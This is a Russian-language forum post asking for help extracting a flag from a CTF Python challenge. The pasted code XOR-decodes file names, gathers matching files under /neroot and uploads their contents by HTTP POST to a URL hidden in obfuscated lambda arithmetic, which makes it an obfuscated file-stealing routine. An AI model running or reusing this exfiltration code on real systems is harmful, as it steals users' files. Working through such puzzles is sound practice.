Marshall Price
New member
Добрый день. Решаю одну задачу, которую мне дали, но проблема, что в python не силен.
У нас есть файл .py с кодом. Суть задачи, достать из этого кода какую-то информацию для перехода на следующую задачу. Это может быть ссылка, флаг, название чего-то или ещё что-то.
Возможно надо удалить какую-то часть кода и оставить другую, чтобы что-то заработало. Вот изначальный код:
Этот код ничего не дает мне, поэтому я решил попробовать удалить последнюю часть с lambda и выше цикл for тоже убрать. Как я понял, здесь есть шифрование в hex. Я решил тогда сделать такой код:
Данный код уже выводит // "0x7fcafea87300" каждый раз набор символов меняется здесь.
Я пробовал расшифровать те значения в r и o и получилось как-то так:
o = 3C:67KQU 1($#:_4)_6 =N179"{{~+>`E&5:
r = shCAy7DiSZRe5h6 oqbmCwwAsyFye9bXLqBdy nVcTtePBFOLJtLS1vtHRG
Похоже опять на какой-то шифр или набор букв.
Так вот задача, как это решить, может быть как-то можно расшифровать это или привести в нормальный вид, возможно иначе изменить код, чтобы получился результат совсем другой. Главное как-то из этого кода добыть флаг CTF. Буду благодарен за помощь.
У нас есть файл .py с кодом. Суть задачи, достать из этого кода какую-то информацию для перехода на следующую задачу. Это может быть ссылка, флаг, название чего-то или ещё что-то.
Возможно надо удалить какую-то часть кода и оставить другую, чтобы что-то заработало. Вот изначальный код:
Python:
import glob
import requests
import sys
r = [
"7368434179374469535a5265356836",
"6f71626d4377774173794679653962584c71426479",
"6e56635474655042464f4c4a744c53317674485247",
]
o = [
"000d20331c431b0f3a36374b510755",
"1c04120831280424100b230d3a5f0b34295f361c0d",
"3d1d4e1731370439227b7b7e2b3e6005124526353a",
]
j = {}
x = [
_
for _ in glob.glob("/neroot/**/*", recursive=True)
if _.split("/")[-1]
in [
"".join(
[
chr(ord(a) ^ ord(b))
for a, b in zip(
bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode()
)
]
)
for i in range(len(r))
]
]
sys.exit(0) if not x else None
for __ in x:
___ = open(__, "r")
j[__] = ___.read()
(
lambda _, __, ___, ____, _____, ______, _______, ________: getattr(
__import__("requests"), "post"
)(
(lambda _, __, ___: _(_, __, ___))(
lambda _, __, ___: bytes([___ % __]) + _(_, __, ___ // __)
if ___
else (lambda: _).__code__.co_lnotab,
_ << ________,
(
((_ << (((_ << ___) + _))) - ((___ << __) - _))
<< ((___ << _______) + (_______ << _))
)
- (((((___ << __) - _) << _____) - _______) << ((___ << _______) + ___))
- (
(((((_ << ___) + _)) << ______) + _______)
<< ((___ << _______) - (_____ << _))
)
- (
((((___ << __) + _) << ____) - _______)
<< ((((___ << __) - _) << _____) + (___ << __))
)
- (((_____ << ______) + _____) << ((((___ << __) - _) << _____) + _))
- (((_____ << _____) - ___) << ((((___ << __) - _) << _____) - (_ << ___)))
+ (((___ << _______) + ___) << ((((_____ << __) + _) << ____) - ___))
+ ((((((_ << ___) + _)) << __) - _) << ((_____ << ______) + _____))
- (
((((_____ << __) - _) << ____) + _)
<< ((((_____ << __) - _) << ____) + _______)
)
- (
(((((_ << ___) + _)) << _____) - ___)
<< ((((_____ << __) - _) << ____) - (_ << __))
)
+ (
((((___ << __) - _) << _____) + ((___ << __) - _))
<< (((((_ << ___) + _)) << _____))
)
+ (
((((___ << __) + _) << ____) + _)
<< ((((_ << ____) + _) << ____) + (___ << _))
)
- (
((((___ << __) + _) << ____) - _______)
<< ((((_ << ____) + _) << ____) - (_ << __))
)
- (((_______ << _____) + _) << ((_ << ________) + (_ << _)))
- (
((((_____ << __) + _) << ____) + _______)
<< ((((_ << ____) - _) << ____) + _______)
)
- (
((((___ << __) - _) << ____) + _______)
<< ((((_ << ____) - _) << ____) - (_ << _))
)
+ (((((_____ << __) + _) << ____) + _) << ((_______ << _____) + (_ << _)))
- (((((___ << __) + _) << ____) + ___) << ((_______ << _____) - (_ << ___)))
+ (
((((_____ << __) - _) << ____) - ___)
<< ((((___ << __) + _) << ____) - (_ << _))
)
+ (((((_____ << __) - _) << ___) + _) << ((___ << ______) + _____))
+ (((_______ << _____) - ___) << ((___ << ______) - (___ << _)))
- (((((___ << __) + _) << ____) - ___) << ((((___ << __) - _) << ____) + _))
- (
((((_____ << __) - _) << ____) - _______)
<< ((_____ << _____) + _______)
)
- (((_______ << _____) + _____) << ((_____ << _____) - ___))
+ (((___ << _____) - ___) << (((((_ << ___) + _)) << ____) + (_ << _)))
+ (
((((_ << ____) - _) << ____) - _______)
<< ((((_ << ____) + _) << ___) - _)
)
- (((((_ << ____) - _) << ___) + ___) << ((_ << _______) - (_ << _)))
- ((((((_ << ___) + _)) << __) - _) << ((((_ << ____) - _) << ___) - _))
- (((_______ << ____) - ___) << ((_______ << ____) - ___))
+ (((((___ << __) - _) << ____) - ___) << ((___ << _____) + ___))
+ (((_______ << __) - _) << ((___ << _____) - ___))
+ (((_______ << __) - _) << ((((___ << __) - _) << ___) - ___))
+ (((___ << _____) - ___) << (((((_ << ___) + _)) << ___) + (_ << _)))
+ (((_______ << __) + _) << ((_ << ______) + (_ << _)))
+ (((___ << _____) + _) << ((_______ << ___)))
+ (((___ << ____) - _) << ((___ << ____)))
+ (((___ << ____) - _) << ((_____ << ___)))
+ (((_______ << __) + _) << ((_ << _____) + _))
+ (_______ << ((_______ << __)))
+ (((_______ << __) + _) << (((((_ << ___) + _)) << _)))
+ (((_______ << __) + _) << ((_____ << _)))
+ ((((___ << __) + _)) << ___),
),
json=j,
)
)(
*(lambda _, __, ___: _(_, __, ___))(
(
lambda _, __, ___: [__(___[(lambda: _).__code__.co_nlocals])]
+ _(_, __, ___[(lambda _: _).__code__.co_nlocals :])
if ___
else []
),
lambda _: _.__code__.co_argcount,
(
lambda _: _,
lambda _, __: _,
lambda _, __, ___: _,
lambda _, __, ___, ____: _,
lambda _, __, ___, ____, _____: _,
lambda _, __, ___, ____, _____, ______: _,
lambda _, __, ___, ____, _____, ______, _______: _,
lambda _, __, ___, ____, _____, ______, _______, ________: _,
),
)
)
Python:
import glob
import requests
import sys
r = ['7368434179374469535a5265356836', '6f71626d4377774173794679653962584c71426479', '6e56635474655042464f4c4a744c53317674485247'];
o = ['000d20331c431b0f3a36374b510755', '1c04120831280424100b230d3a5f0b34295f361c0d', '3d1d4e1731370439227b7b7e2b3e6005124526353a'];
j = {};
x = [_ for _ in glob.glob('/neroot/**/*', recursive=True) if _.split('/')[-1] in [''.join([chr(ord(a) ^ ord(b)) for a,b in zip(bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode())]) for i in range(len(r))]];
print(zip(bytes.fromhex(o[1]).decode(), bytes.fromhex(r[1]).decode()))
sys.exit(0) if not x else None;
Я пробовал расшифровать те значения в r и o и получилось как-то так:
o = 3C:67KQU 1($#:_4)_6 =N179"{{~+>`E&5:
r = shCAy7DiSZRe5h6 oqbmCwwAsyFye9bXLqBdy nVcTtePBFOLJtLS1vtHRG
Похоже опять на какой-то шифр или набор букв.
Так вот задача, как это решить, может быть как-то можно расшифровать это или привести в нормальный вид, возможно иначе изменить код, чтобы получился результат совсем другой. Главное как-то из этого кода добыть флаг CTF. Буду благодарен за помощь.